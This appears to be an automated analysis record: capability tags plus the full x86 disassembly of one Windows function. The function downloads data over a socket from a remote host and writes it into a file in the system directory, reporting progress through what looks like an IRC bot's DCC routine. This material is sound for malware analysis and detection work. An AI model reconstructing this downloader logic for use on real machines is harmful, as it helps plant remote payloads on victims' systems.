Function at 0x407619
Capabilities:
Download and write a file
Get common file path
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1498
call fcn.0040ec80
sub esp, eax
mov eax, dword [0x45fd00]
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0x45fcc0
lea eax, [ebp - 0x1256]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [0x45fcf4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0
mov dword [esp + 4], 0x45fb80
lea eax, [ebp - 0x126a]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x1374]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x45fba0
lea eax, [ebp - 0x1374]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424430
lea eax, [ebp - 0x1478]
mov dword [esp], eax
call sym._sprintf
mov dword [0x45fd0c], 1
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x1224]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x1478]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x40773d
mov dword [esp + 4], 0x424c43
lea eax, [ebp - 0x1224]
mov dword [esp], eax
call sym._sprintf
jmp 0x407903
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 4], 0x424c56
lea eax, [ebp - 0x1478]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x407787
mov dword [esp + 4], 0x424c43
lea eax, [ebp - 0x1224]
mov dword [esp], eax
call sym._sprintf
jmp 0x407903
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0x126a]
mov dword [esp], eax
call sym._create_sock
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4077c0
mov dword [esp + 4], 0x424c5a
lea eax, [ebp - 0x1224]
mov dword [esp], eax
call sym._sprintf
jmp 0x407903
mov dword [ebp - 0xc], 1
jmp 0x4078d8
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x1024]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x1024]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4078e4
cmp dword [ebp - 0xc], 0xffffffff
jne 0x407869
mov dword [esp + 8], 0x424c6e
lea eax, [ebp - 0x1256]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._dccsenderror
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 1
jmp 0x407948
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x1024]
mov dword [esp], eax
call sym._fwrite
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htonl]
call eax
sub esp, 4
mov dword [ebp - 0x1270], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea eax, [ebp - 0x1270]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebp - 0xc], 0
jne 0x4077cc
jmp 0x4078e5
nop
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Transfer_complete__size:__i_bytes_
lea eax, [ebp - 0x1224]
mov dword [esp], eax
call sym._sprintf
nop
lea eax, [ebp - 0x1224]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1256]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._dccsenderror
cmp dword [ebp - 0x18], 0
je 0x407933
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret 4